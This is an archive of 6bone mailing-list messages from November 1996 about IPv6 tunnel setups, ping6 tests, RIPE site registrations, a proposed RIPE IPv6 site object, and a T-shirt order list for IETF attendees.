apologies if I have screwed up your name an previous info you have sent me.

As there are now well over 250 Tshirts ordered, and I have to personally
front this money, I really need exact verification of the quantities,
sizes, how you will take delivery AND that you are really going to pay me.

So please email me your info as formatted below to help me edit the list.
Be clear if you are changing, deleting or adding a new line.  Only send me
your info...please don't repeat the whole list to me.

I am now setting the price at $10 US as this will cover the multi-color
setup and the variation in cost based on size.  It will simply be easiest
to charge all sizes the same.

Mailing is free as you will receive your Tshirt(s) from my Lab with other
educational material in the mailing.  No choice here...you get printed
material of my choice :-)

If I'm to mail to you, please include your properly formatting mailing
address (even if you think you have sent it before).

Payment can be in cash or check made out to me (Robert L. Fink)...but PLEASE
don't send it yet...I'll let you know when.

I need to hear from you by 18th Nov (next Monday), close of business, to
verify your orders.


Thanks,

Bob

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D
lname, fname  tab  qty size, more qty size  tab  "mail" to you or "ietf" pic=
kup
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D
Asayesh, Hamid	10 XL, 35 L	ietf
Atkinson, Ran	2 L, 2 XL	ietf
Blundell, Phil	1 L	mail
Boroumand, Jarad	2 XL	ietf
Bound, Jim	3 ?	ietf
Bryant, Geoff	1 L	mail
Choi, Woohyong	6 XL, 4 L	?
Clauberg, Axel	3 XL	mail
Clay, Mike	1 L, 1 XL	mail
Crawford, Matt	2 XL	ietf
Curran, Peter	2 L	ietf
Dalgeir, Gudrun	1 XL, 1 S, 5 XL	mail
Day, Jonathan	3 XL	ietf
DeCasper, Dan	10 XL	mail
Deering, Steve	1 XL	ietf
Degermark, Mikael	2 XL	?
Dupont, Francis	1 XXL	ietf
Durand, Alain	10 XL	ietf
Eklund, Peter	2 L	?
=46ang, Hsin	1 XL	?
=46ernstedt, Anders	25 L, 25 XL	?
=46ield, Brian	1 XL	mail
=46ink, Bob	2 XL	ietf
Ganis, Matt	2 XL, 2 L	?
Glenn, Robert	2 XL	mail
Hamilton, Martin	2 XL	ietf
Haskin, Dimitry	2 XL, 2 M, 11 L	ietf
Hazeltine, Andy	2 M, 1 L, 1 XL	mail
Hinden, Bob	2 XL	ietf
Hirabaru, Masaki	3 XL	ietf
Hoag, Andrew	?	ietf
Juliano, Bryan	1 XL	?
Kann, Jung	2 L	?
King, Ray	2 ?	mail
Kirkpatrick, Ben	1 XL	mail
Labovitz, Craig	1 XL	?
Lahey, Kevin	2 L	?
Latzko Alex	?	ietf
Mankin, Allison	?	ietf
Martin, Jim	1 XL	ietf
Meier, Erich	2 XL	mail
Metz, Craig	2 XL, 1 L	mail
Meyer, David	1 XXL	?
McCann, Jack	2 XL	?
Michlmayr, Mike	2 XXL	?
Nitzan, Becca	1 M	ietf
Narten, Tom	1 XL	ietf
Nerenberg Lyndon	6 XL	ietf
Peachey, Alex	2 XXL	mail
Peck, Martin	8 L, 4 XL	mail
Quinch, Charlie	5 XXL	?
Shand, Mike	1 XL	mail
Sjodin, Peter	2 XL	?
Solensky, Frank	1 L	ietf
Spindler, Tom	2 XXL	mail
Steven, Rick	1 XL	?
StPierre, Brad	?	mail
Stuart, Stephen	3 XL	?
Templin, Fred	2 XXL	?
Turner, Rob	1 XXL	?
Vohra, Quaizar	3 XL, 1 L, 1 M	ietf
Weise, Bernd	5 XL, 2 XXL	ietf
Yamamoto, Kazuhiko	1 L	?
Yoshida, Shin	1 L	ietf
-end



From majordom@ISI.EDU  Thu Nov 14 02:30:33 1996
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Message-Id: <199611141830.KAA14188@cornpuffs.cisco.com>
From: rja@cisco.com (Ran Atkinson)
Date: Thu, 14 Nov 1996 10:30:33 PST
X-Mailer: Mail User's Shell (7.2.5 10/14/92)
To: 6bone@isi.edu
Subject: cisco tunnel endpoint change
Sender: owner-6bone@ISI.EDU
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Status: RO

Because cisco's Engineering Computing Services group is rearranging
the configuration of our experimental subnets, the tunnel endpoint
for 6bone-router.cisco.com will be changing to 192.31.7.104 sometime
this evening (US Pacific Standard Time; perhaps 8-10 hours from
the time I write this).

I apologise for the relatively short notice, but ECS did not give me
lots of notice and I'm about to leave town on business travel.

Folks with tunnels to 6bone-router.cisco.com should please rehome
the cisco end of the tunnel accordingly at your convenience.

I apologise to the rest of the 6bone for any temporary disruptions
that this change might cause.  

Regards,

Ran
rja@cisco.com


-- 

From majordom@ISI.EDU  Thu Nov 14 03:21:41 1996
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To: rlfink@lbl.gov
Cc: Stephen Stuart <stuart@pa.dec.com>, 6bone@isi.edu
Subject: New IPV6 tunnels from Palo Alto
Date: Thu, 14 Nov 96 11:21:41 -0800
From: Stephen Stuart <stuart@pa.dec.com>
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The following tunnels have been added to DIGITAL-CA; Bob, could you
please do that map thing [that you do so well :-)]?

tunnel:               204.123.2.235 203.0.44.12 DIGITAL-AU

  DIGITAL-AU's prefix is 5F04:C500:CB00:2C00::/80, test address
  5F04:C500:CB00:2C00::800:2B3A:5FE1.

  % ping6 -c 10 -q 5F04:C500:CB00:2C00::800:2B3A:5FE1
  PING (5F04:C500:CB00:2C00::800:2B3A:5FE1): 56 data bytes
  ----5F04:C500:CB00:2C00::800:2B3A:5FE1 PING Statistics----
  10 packets transmitted, 9 packets received, 10% packet loss
  round-trip (ms)  min/avg/max = 256/276/301 ms

tunnel:               204.123.2.236 163.221.11.21 WIDE

  % ping6 -c 10 -q 5f09:c400:a3dd:b00::c0e3:665f              
  PING (5f09:c400:a3dd:b00::c0e3:665f): 56 data bytes
  ----5f09:c400:a3dd:b00::c0e3:665f PING Statistics----
  10 packets transmitted, 9 packets received, 10% packet loss
  round-trip (ms)  min/avg/max = 324/334/345 ms

tunnel:               204.123.2.236 141.39.66.24 DETEBERKOM

  % ping6 -c 10 -q 5F04:FB00:8D27:4200:1:800:2B91:AF86        
  PING (5F04:FB00:8D27:4200:1:800:2B91:AF86): 56 data bytes
  ----5F04:FB00:8D27:4200:1:800:2B91:AF86 PING Statistics----
  10 packets transmitted, 9 packets received, 10% packet loss
  round-trip (ms)  min/avg/max = 359/389/416 ms

tunnel:               204.123.2.236 199.45.11.20 <not in the registry>

  This one is Softbank Expositions, the people who do Interop trade
  shows. Their prefix is 5F00:FD00:C72D:0B00::0/64, test ping address
  is 5f00:fd00:c72d:0b00:2d0b:0800:2019:d191. 

  % ping6 -c 10 -q 5f00:fd00:c72d:0b00:2d0b:0800:2019:d191    
  PING (5f00:fd00:c72d:0b00:2d0b:0800:2019:d191): 56 data bytes
  ----5f00:fd00:c72d:0b00:2d0b:0800:2019:d191 PING Statistics----
  10 packets transmitted, 10 packets received, 0% packet loss
  round-trip (ms)  min/avg/max = 8/12/21 ms

We also now exchange RIPng routing information with:

BAY:

  % ping6 -c 10 -q 5F02:3000:C020:AE00::0001                  
  PING (5F02:3000:C020:AE00::0001): 56 data bytes
  ----5F02:3000:C020:AE00::0001 PING Statistics----
  10 packets transmitted, 9 packets received, 10% packet loss
  round-trip (ms)  min/avg/max = 249/305/436 ms

CISCO:

  % ping6 -c 10 -q 5f00:6d00:c01f:0700:0001:0060:3e11:6770
  PING (5f00:6d00:c01f:0700:0001:0060:3e11:6770): 56 data bytes
  ----5f00:6d00:c01f:0700:0001:0060:3e11:6770 PING Statistics----
  10 packets transmitted, 10 packets received, 0% packet loss
  round-trip (ms)  min/avg/max = 5/6/12 ms

We also supply RIPng routes to MERIT.

Stephen

From majordom@ISI.EDU  Thu Nov 14 11:41:17 1996
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From: Bernd Weise <berndw@deteberkom.de>
Subject: New site DeTeBerkom-DE
To: 6bone@ISI.EDU (6bone-Group)
Date: Thu, 14 Nov 96 20:34:54 MEZ
Cc: weise@deteberkom.de, rlfink@buster.lbl.gov (Bob Fink (6bone))
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Hy,

we connected our IPv6 test-site to the 6bone.
Tunnels are operational to DIGITAL-CA, JOIN-DE and to TU-BERLIN-DE.


Please be aware that this is a testbed, which can be rebooted sometimes.

Following information has been stored on the RIPE server:

site:           DeTeBerkom GmbH
location:       Berlin, Germany
loc-string:     52 28n 13 18e 50m
prefix:         5F04:FB00:8D27:4200::/64
ping:           5F04:FB00:8D27:4200:1:800:2B91:AF86 (pioneer6.deteberkom.de)
tunnel:         141.39.66.24 204.123.2.236 DIGITAL-CA/US
tunnel:         141.39.66.24 128.176.191.66 JOIN/DE
tunnel:         141.39.66.24 130.149.62.18 TU Berlin/DE
tunnel-v4:      pioneer4.deteberkom.de (141.39.66.24)
contact:        weise@deteberkom.de
status:         operational since 13-Nov-1996
remark:         As this is an IPv6 testbed connectivity might be
remark:         lost rarely
remark:         The testbed consists of systems from
remark:          Digital
remark:          HP
remark:          IBM
remark:          SUN
remark:         Running implementations are from
remark:          SICS, Digital, IBM and SUN
remark:         New tunnels added, RIP or static; send mail to contact
changed:        Bernd Weise 19961114
source:         RIPE

     Bernd 


i===========================================================================i
i      Bernd Weise, DeTeBerkom GmbH, Voltastrasse 5, D-13355 Berlin         i
i        Tel. +49 - 30 - 46701-143,     Fax. +49 - 30 - 46701-445           i
i                                                                           i
i      NEW ADDRESS from 1. December 1996:                                   i
i        DeTeBerkom GmbH, Goslarer Ufer 35,10589 Berlin                     i 
i        Tel: +49 - 30 - 3497-3112,   Fax: -3113                            i
i                                                                           i
i      Internet: weise@deteberkom.de                                        i
i===========================================================================i


From majordom@ISI.EDU  Thu Nov 14 11:39:19 1996
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Subject: Re: New tunnel:  NRL<->RADYN
To: "William M. Kules" <wmk@radyn.com>
Date: Thu, 14 Nov 1996 16:39:19 -0500 (EST)
From: Ronald Lee <ronlee@CS.NRL.NAVY.MIL>
Cc: 6bone@isi.edu, ronlee@CS.NRL.NAVY.MIL, brabec@umiacs.cs.umd.edu,
        wmk@gauss.radyn.com
In-Reply-To: <199611141726.MAA16967@gauss.radyn.com> from "William M. Kules" at Nov 14, 96 12:26:41 pm
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> > v4 tunnel endpoint:     128.8.126.86
> > Prefix:                 5f00:1b00:8008:7e66::0/64
> > v6 tunnel endpoint:     5f00:1b00:8008:7e66::c090:25d5
> 
> Sorry for the confusion.  The tunnel goes to the University of
> Maryland, College Park, Computer Science Department.  (I work
> for Radio Dynamics -- but I'll work on that one, too :-) ).
> 
> Bill Kules


My bad, a bit of miscommunication.

Please change references to RADYN to UMCP-CS

Thus, NRL is supporting this tunnel:   NRL <-> UMCP-CS

Ron

From majordom@ISI.EDU  Thu Nov 14 09:29:49 1996
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Date: Thu, 14 Nov 1996 17:29:49 -0800 (PST)
From: John Callahan <jcallaha@willamette.edu>
To: 6bone@isi.edu
Subject: Request for Tunnel -- Western Washington U?
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Hi 6bone folks!

We would like to join the 6bone.  My guess is the best tunnel would 
be Western Washington University (WWU), since we're 10 hops on the same 
ASN, but maybe someone else knows better?

Its unclear to me at which stage in the game we register with RIPE, but 
the pertinent information is:

site: willamette
location: Willamette University, Salem, OR, USA
loc-string: 44 56 35n 123 2 2w 1m 
prefix: 5f02:ad00:9e68::/64
ping:   5f02:ad00:9e68::e8a1:e17a
tunnel: 158.104.3.35 140.160.166.22 wwu
contact: John Callahan <jcallaha@willamette.edu>
status: planned
changed: jcallaha@willamette.edu 961114
source: RIPE

Thanks!
John
--
John Callahan <jcallaha@willamette.edu>  |Assistant Director, Network Services 
Willamette Integrated Technology Services|Willamette University, Salem, OR, USA
Phone: (503) 375-5495 Fax: (503) 375-5456|http://www.willamette.edu/~jcallaha


From majordom@ISI.EDU  Thu Nov 14 13:44:15 1996
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To: 6bone@isi.edu
Subject: New IPv6 tunnels from WWU to WILLAMETTE and NETGOD
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From: scott-6bone@laird.com (Scott Laird)
Date: Thu, 14 Nov 1996 21:44:15 -0800
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I've just added a tunnel from 140.160.166.22 to 158.104.3.35 for
WILLAMETTE.  Their prefix is 5f02:ad00:9e68::/64.

$ ping6 -c 5 5f02:ad00:9e68::e8a1:e17a
PING 5f02:ad00:9e68::e8a1:e17a: 56 data bytes
64 bytes from 5f02:ad00:9e68::e8a1:e17a: icmp_seq=0 time=24.9 ms
64 bytes from 5f02:ad00:9e68::e8a1:e17a: icmp_seq=1 time=20.6 ms
64 bytes from 5f02:ad00:9e68::e8a1:e17a: icmp_seq=2 time=25.1 ms
64 bytes from 5f02:ad00:9e68::e8a1:e17a: icmp_seq=3 time=26.0 ms
64 bytes from 5f02:ad00:9e68::e8a1:e17a: icmp_seq=4 time=33.8 ms

--- 5f02:ad00:9e68::e8a1:e17a ping statistics ---
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 20.6/26.0/33.8 ms


We also have a tunnel to netgod.org, from 140.160.166.23 to
206.129.65.250, prefix 5f11:b600:ce81:4100::/64:

$ ping6 -c 5 5F11:B600:CE81:4100::0020:AF9E:4703
PING 5F11:B600:CE81:4100::0020:AF9E:4703: 56 data bytes
64 bytes from 5f11:b600:ce81:4100:0:20:af9e:4703: icmp_seq=0 time=53.3 ms
64 bytes from 5f11:b600:ce81:4100:0:20:af9e:4703: icmp_seq=1 time=21.5 ms
64 bytes from 5f11:b600:ce81:4100:0:20:af9e:4703: icmp_seq=2 time=59.7 ms
64 bytes from 5f11:b600:ce81:4100:0:20:af9e:4703: icmp_seq=3 time=36.4 ms
64 bytes from 5f11:b600:ce81:4100:0:20:af9e:4703: icmp_seq=4 time=31.9 ms

--- 5F11:B600:CE81:4100::0020:AF9E:4703 ping statistics ---
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 21.5/40.5/59.7 ms

Both tunnels are listed with RIPE.


Scott Laird

From majordom@ISI.EDU  Fri Nov 15 11:42:00 1996
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Date: Fri, 15 Nov 1996 10:42:00 +0100 (MET)
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From: Simon Leinen <simon@switch.ch>
To: 6bone@isi.edu
Cc: noc@celeste.switch.ch
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[resent with corrected IPv6 address prefix- sorry.]

We would like to connect to the 6bone.  SWITCH is a network provider
for the educational and research community in Switzerland, and some of
our members have expressed interest in an infrastructure for IPv6
experimentation.

Our autonomous system is #559, so the prefix in question would be
5f02:2f00::/32 .  Could you suggest a convenient 6bone "POP" in our
region? Currently we have better connectivity to Scandinavia than to
our neighbor countries, although next year the connections to most
other European countries should improve with the deployment of TEN-34.

Do you think it is realistic to use a Sun SPARCstation running Sun's
IPv6 implementation as a router to connect other organizations to the
6bone?
-- 
Simon.


From majordom@ISI.EDU  Fri Nov 15 11:37:48 1996
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Message-Id: <199611150937.KAA01184@celeste.switch.ch>
From: Simon Leinen <simon@switch.ch>
To: 6bone@isi.edu
Cc: noc@celeste.switch.ch
Subject: request for connection information
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We would like to connect to the 6bone.  SWITCH is a network provider
for the educational and research community in Switzerland, and some of
our members have expressed interest in an infrastructure for IPv6
experimentation.

Our autonomous system is #559, so the prefix in question would be
5f02:b200::/32 .  Could you suggest a convenient 6bone "POP" in our
region? Currently we have better connectivity to Scandinavia than to
our neighbor countries, although next year the connections to most
other European countries should improve with the deployment of TEN-34.

Do you think it is realistic to use a Sun SPARCstation running Sun's
IPv6 implementation as a router to connect other organizations to the
6bone?
-- 
Simon.


From majordom@ISI.EDU  Fri Nov 15 16:29:37 1996
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Date: Fri, 15 Nov 1996 15:29:37 +0100
From: Guardini Ivano <Ivano.Guardini@cselt.stet.it>
Subject: CSELT would like to join the 6Bone
To: "'6bone@isi.edu'" <6bone@isi.edu>
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Hello,

my name is Ivano Guardini. I'm a researcher from CSELT (Centro Studi e
Laboratori Telecomunicazioni). CSELT is located in Torino (Italy). It is
the STET Group's Company for the study, research, experimentation and
qualification for telecomunications and information technology.
My working group is creating an IPv6 test-bed network within CSELT. Our
hosts are workstations and PCs. On the workstations we installed Sun
IPv6 code for Solaris 2.5. On the PCs we installed NRL IPv6 code for
NetBSD 1.2, INRIA IPv6 code for FreeBSD 2.1.5 and IPv6 code for Linux.
One of  the workstation acts as router.
We would like to join the 6bone. What is the most appropriate attachment
point for us?
I will be waiting a reply from you as soon as possible.
Thank you.

     By
           Ivano

---------------------------------------------------
Ivano Guardini  CSELT SpA
via G. Reiss Romoli 274  Torino (Italy)
Tel. +39 11 228 5424
Fax. +39 11 228 5069
---------------------------------------------------


From majordom@ISI.EDU  Sat Nov 16 00:31:57 1996
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Message-Id: <199611160025.AAA01091@gate.ticl.co.uk>
From: "Peter Curran" <pcurran@ticl.co.uk>
To: <6bone@isi.edu>
Subject: IPv6 for FreeBSD 2.1.5
Date: Sat, 16 Nov 1996 00:31:57 -0000
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Does anyone know if there is a port of the INRIA (or any other) IPv6 code
for FreeBSD 2.1.5R.  I can only seem to find a version for 2.1.0.

Many thanks

Peter Curran
TICL

From majordom@ISI.EDU  Sat Nov 16 16:41:06 1996
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From: Francis Dupont <Francis.Dupont@inria.fr>
To: "Peter Curran" <pcurran@ticl.co.uk>
Cc: 6bone@isi.edu
Subject: Re: IPv6 for FreeBSD 2.1.5 
In-Reply-To: Your message of Sat, 16 Nov 1996 00:31:57 GMT.
             <199611160025.AAA01091@gate.ticl.co.uk> 
Date: Sat, 16 Nov 1996 15:41:06 +0100
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 In your previous mail you wrote:

   Does anyone know if there is a port of the INRIA (or any other) IPv6 code
   for FreeBSD 2.1.5R.  I can only seem to find a version for 2.1.0.
   
=> I have ported my implementation to NetBSD 1.2 and FreeBSD 2.1.5
but the next release (based on these OSs) is scheduled only for
the end of this month.

Francis.Dupont@inria.fr

From majordom@ISI.EDU  Tue Nov 19 01:33:14 1996
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Date: Tue, 19 Nov 1996 09:33:14 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Tshirt order list 19Nov96 0930
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This is my Tshirt list as of Tuesday morning.  I'll continue to take orders
up until I need to give them to the Tshirt printer (Wed. sometime I think).

This is 293 Tshirts so far!  Gee, is someone reselling these things :-)

I will probably order a bunch extra XL as it is the largest group (170 of
293), and am sure there will be demand at the IETF.

Also wouldn't be surprised if I need to order more after the IETF.


Thanks,

Bob

===============================================
Acheson, Steve	1 XL	mail
Atkinson, Ran	2 L, 1 XL	ietf
Belding, Peter	1 XL	mail
Bassham, Larry	1 L	ietf
Bhogavilli, Suresh	1 L	ietf
Blundell, Phil	2 L	mail
Bound, Jim	3 L	ietf
Bryant, Geoff	1 L	mail
Clauberg, Axel	3 XL	ietf
Clay, Mike	1 L, 1 XL	mail
Collins, Mike	1 XL, 1 XXXL	ietf
Dalgeir, Gudrun	1 XXL, 1 S, 5 XL	mail
Day, Jonathan	3 XL	ietf
DeCasper, Dan	10 XL	mail
Deering, Steve	1 XL	ietf
Edmondson, Dave	9 XL	ietf (Andrew Malcolm)
Eklund, Thomas	10 XL	ietf
Fang, Hsin	1 XL	ietf
Fernstedt, Anders	25 L, 25 XL	ietf
Ganis, Matt	3 XL, 5 L	Mail
Glenn, Robert	2 XL	mail
Goode, Rob	1 M	mail
Hamilton, Martin	2 XL	ietf
Haskin, Dimitry	4 XL, 2 M, 9 L	   mail
Hazeltine, Andy	2 M, 1 L, 1 XL	mail
Hirabaru, Masaki	2 XL	ietf
Hoag, Andrew	2 XL	ietf
Honerkamp, Robbie	1 XL	mail (need address)
Jaeger, Kurt	5 XL, 1 XXL	mail
Jork, Markus	2 L, 3 XL	ietf
Juliano, Bryan	1 XL	ietf
Kann, Jong	4 L	ietf
King, Ray	4 L	mail
Konczal, Joe	1 XL	mail
Kules, Bill	1 XL, 1 L	mail
Labovitz, Craig	1 XL	ietf
Laird, Scott	7 L, 7 XL	mail
Latzko, Alex	9 XL, 1 L	mail
Lee, Ron	1 L, 5 XL	ietf
Macker. Joe	1 XL	ietf
Meier, Erich	2 XL	mail
Meyer, David	2 M, 3 XXL	ietf
Michlmayr, Mike	4 XXL, 2 XL	mail
Montgomery, Doug	2 XL, 2 L	ietf
Moore, Mike	2 XL	ietf
Nerenberg, Lyndon	6 XL	ietf
Onoe, Atsushi	1 L	mail
Peachey, Alex	2 XXL	mail
Peck, Martin	8 L, 4 XL	mail
Sakurai, Akihiro	1 M, 1 L, 1 XL	mail
Schoenwaelder, Juergen	10 XL, 1 L	ietf
Shabou, malek	1 XL	mail (need address)
Shand, Mike	1 XL	ietf
Sharfmesser, Igor	3 XL	mail
Sjodin, Peter	4 XL	ietf
Spindler, Tom	2 XXL	mail
Stevens, Richard	1 XL	mail
StPierre, Brad	1 L	mail
Templin, Fred	1 XL, 2 XXL	ietf
Weise, Bernd	5 XL, 5 XXL	ietf
Wessendorf, Guido	2 XL, 1 L	ietf
Winchcombe, Charlie	5 XXL	mail
Yamamoto, Kazuhiko	1 L	ietf
Zhang, Lixia	1 M	ietf



From majordom@ISI.EDU  Tue Nov 19 03:43:30 1996
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From: davidk@isi.edu
Posted-Date: Tue, 19 Nov 1996 11:43:30 -0800 (PST)
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	id <AA10337>; Tue, 19 Nov 96 11:43:31 PST
Subject: RIPE object proposal
To: 6bone@ISI.EDU
Date: Tue, 19 Nov 1996 11:43:30 -0800 (PST)
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Hi all,

Here is the long awaited proposal for the RIPE IPv6 object. 
The proposal is not formatted in any form yet.
Please take look. Any comments and better ideas are welcome!

Note that I am very busy right now with some IETF related topics that
might cause some delay in my E-mail responses.

David K.
---

Title:  A proposal for a RIPE database IPv6 site object

Date:    961119
Authors: Geert Jan de Groot
         David Kessens

Introduction

This proposal describes the proposed syntax of a new RIPE database object
that describes the several IPv6 sites in the world. The object will be
used to facilitate the introduction of IPv6 in the Internet. It is
expected that the object will be superceded later (when the IPv6 routing
protocols and the like are better standarized) by a new structure that is
more genericly designed and less IPv6 dependant (see RPS working group,
the RPSL language draft, RPS tunnel attribute extensions for the
'inet-rtr' object draft by Dave Meyer if you are interested in the
topic). The RIPE database can get experimental support for this pretty
quick after the RIPE database working group gives approval for such an
experimental object. Syntax checking will initially be a bit sloppy to
allow for easy changes to the format in our rapidly changing environment
and to cut implementation time ;-).

The syntax is based on the experience with the 'ftp' object depository at
the RIPE NCC created by Geert Jan de Groot and discussions on the 6bone
mailing list. Any comments for changes and/or better wording are welcome.

Several attribute name changes are made to the existing 'ftp' object to
faciliate a better integration (and reuse of already existing attributes)
in the RIPE database scheme.

The now existing nearly-real time mirroring mechanism of the data allows
for a fast distribution mechanism to other (mirror) databases in a
topologically closer position to the database users. It is therefore
proposed that this object can only be updated at the RIPE NCC database
depository (for now). This avoids conflicting data in different databases
problems as we have now with the IPv4 route and AS number objects.


Formal RIPE database template:

ipv6-site:      [mandatory] [single]
descr:          [mandatory] [multiple]
loc-string:     [optional]  [multiple]
prefix:         [mandatory] [multiple]
application:    [optional]  [multiple]
tunnel:         [optional]  [multiple]
contact:        [mandatory] [multiple]
url:            [optional]  [multiple]
remarks:        [optional]  [multiple]
changed:        [mandatory] [multiple]
source:         [mandatory] [single]


Description and purpose of the attributes:


- ipv6-site:   <SiteTag>

  SiteTag is a short unique tag for the IPv6 site to be used for lookups
  and referrals of the object.
  
  Syntax:
  
  /^[A-Z][A-Z\-]*[A-Z]$/
  
  Example:
  
  ipv6-site: ISI
  

- descr:  <SiteDescr>

  Multiple line attribute that describes the site. This attribute usually
  contains information about the location of the IPv6 site and a full
  name of the site.

  Syntax:
  
  /^.*$/
  
  Example:
  
  descr: ISI/USC,
  descr: Los Angeles 
  
  
- loc-string: <LocatianString>

  LocationString contains the coordinates of the IPv6 sites location.
  Multiple location strings can be proovided on different lines for sites
  that have multiple locations in the area.

  Syntax:
  
  Somebody can give me a pointer for the RFC standard
  
  Example (for now):
  
  loc-string:     33 40 10n 117 49 20w 10m
  
  
- prefix: <IPv6Prefix>

  IPv6Prefix is a prefix that is used within the the IPv6 site.
  
  Syntax:
  
  <ValidIPv6Address/0-128>
  
  Example:
  
  prefix:         5f0d:0500:c100::/6
  

- application: <service> <hostname> [port]

  This attribute describes the different services available on the site.
  The services are the same as described in the '/etc/services' plus the ping
  application. More services might be added later on. 
  
  Hostname is the DNS hostname of the host that provides the service and
  a port number may be specified for services that don't run on the
  standard port.
  
  Syntax:
  
  /^[\w\-]\s+[a-bA-Z\-]+(\.[a-bA-B\-])*\s+\d+$/
  
  Examples:
  
  application: ping pinghost.ISI.EDU
  application: ftp  ftp.ISI.EDU
  
  
- tunnel:  <Protocol1> in <Protocol2> <src> -> <dst> [FreeText]

  This attribute defines a tunnel of Protocol1 in Protocol2 from address
  src to address dst. You only need to define your side of the tunnel.
  The other end should be present in the object of the other party's site
  object. Note that tunnels should in general be configured symmetrically
  along both end-points.
  
  Currently (only) the following type of tunnels are accepted:
    
  tunnel:  IPv6 in IPv4 IPv4SourceAddress -> IPv4DestinationAddress [FreeText]
  
  It is expected that more possibilities will be added later.
  
  Note for discussion:
  
  It is may be better to use DNS domain names here instead of the raw IP
  addresses.
    
  Example:
  
  tunnel: IPv6 in IPv4 128.176.191.66 -> 130.225.231.5 IDRPv6

  
- contact: <E-mail address|NIC-hdl>

  This is the contact information of the site. You may decide to either 
  use a valid RFC822 E-mail address or to put in a reference to a valid
  NIC handle.
  
  Examples:
  
  contact: David Kessens <davidk@ISI.EDU>
  
  or
  
  contact: DK13-RIPE


- url: <URL>

  Put here any useful URLs that are of interest for your site
  
  Example:
  
  url: <http://www.iol.unh.edu>
  
  
- remarks: <FreeText>

  Put here any information that might be interesting for the other people
  at the 6bone to know about or use it for site specific information.
  Also 'not yet accepted new functionality' to the objects can be put here
  (temporarely).
  
  Many people use this to report about the status of their site; is it in
  implementation phase, is it up and running or are there still techincal
  problems.
  
  Syntax:
  
  /^.*$/
  
  Example:
  
  remarks: operational since July 5, 1996
  remarks: happy to add new tunnels upon request.
  remarks: 6bone-router.cisco.com carries all ipv6 routes.
  
  
- changed: <E-mail> <Date>

  Use this attribute to show who was resposible for a change/addition of
  the object and the date on which it took effect. You may use more
  changed attribute to reflect the change history of the object.
  
  The date field has the following format: YYMMDD

  Example:
  
  changed: davidk@ISI.EDU 960923
  
  
- source: RIPE

  This field is always the same for now. It describes the place where the
  object can be updated and is stored.

  Example:
 
  source: RIPE

  

From majordom@ISI.EDU  Tue Nov 19 07:04:00 1996
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	id <AA18419>; Tue, 19 Nov 1996 15:04:04 -0800
Received: from cnrmail.lbl.gov (buster.lbl.gov) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA11893>; Tue, 19 Nov 1996 15:04:03 -0800
Received: from [128.3.9.22] by cnrmail.lbl.gov
 with ESMTP (Apple Internet Mail Server 1.1.1); Tue, 19 Nov 1996 15:04:04 -0800
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Message-Id: <v03007802aeb79ff35626@[128.3.9.22]>
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Date: Tue, 19 Nov 1996 15:04:00 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Tshirt order list 19Nov96 1500
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

At this stage, to avoid further confusion, I've moved all those not
confirmed from the first list to this one, and notated it.  However,
confirmed or not, I will honor them as there is such a high confirmed
response.  Way over 300 Tshirts!

I'm still open for orders and will queue what comes in after my cutoff for
a 2nd run later on.


Thanks,

Bob

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D
Acheson, Steve	1 XL	mail
Asayesh, Hamid	35 L, 10 XL	mail (need address)
Atkinson, Ran	2 L, 1 XL	ietf
Belding, Peter	1 XL	mail
Bassham, Larry	1 L	ietf
Bhogavilli, Suresh	1 L	ietf
Blundell, Phil	2 L	mail
Boroumand, Jarad	2 XL	ietf (not confirmed)
Bound, Jim	3 L	ietf
Bryant, Geoff	1 L	mail
Choi, Woohyong	6 XL, 4 L	? (not confirmed)
Clauberg, Axel	3 XL	ietf
Clay, Mike	1 L, 1 XL	mail
Collins, Mike	1 XL, 1 XXXL	ietf
Crawford, Matt	4 XL	ietf
Curran, Peter	2 L	ietf
Dalgeir, Gudrun	1 XXL, 1 S, 5 XL	mail
Davis, Eric	2 XXL	mail
Day, Jonathan	3 XL	ietf
DeCasper, Dan	10 XL	mail
Deering, Steve	1 XL	ietf
Degermark, Mikael	2 XL	? (not confirmed)
de Groot, Geert Jan	1 XL	ietf
Dupont, Francis	1 XXL	ietf (not confirmed)
Durand, Alain	10 XL	ietf (not confirmed)
Edmondson, Dave	9 XL	ietf (pickup by Andrew Malcolm)
Eklund, Thomas	10 XL	ietf
=46ang, Hsin	1 XL	ietf
=46ernstedt, Anders	25 L, 25 XL	ietf
=46ield, Brian	1 XL	mail (not confirmed)
=46ink, Bob	2 XL	ietf
Ganis, Matt	3 XL, 5 L	Mail
Glenn, Robert	2 XL	mail
Goode, Rob	1 M	mail
Hamilton, Martin	2 XL	ietf
Haskin, Dimitry	4 XL, 2 M, 9 L	   mail
Hazeltine, Andy	2 M, 1 L, 1 XL	mail
Hinden, Bob	2 XL	ietf
Hirabaru, Masaki	2 XL	ietf
Hoag, Andrew	2 XL	ietf
Honerkamp, Robbie	1 XL	mail (need address)
Jaeger, Kurt	5 XL, 1 XXL	mail
Jork, Markus	2 L, 3 XL	ietf
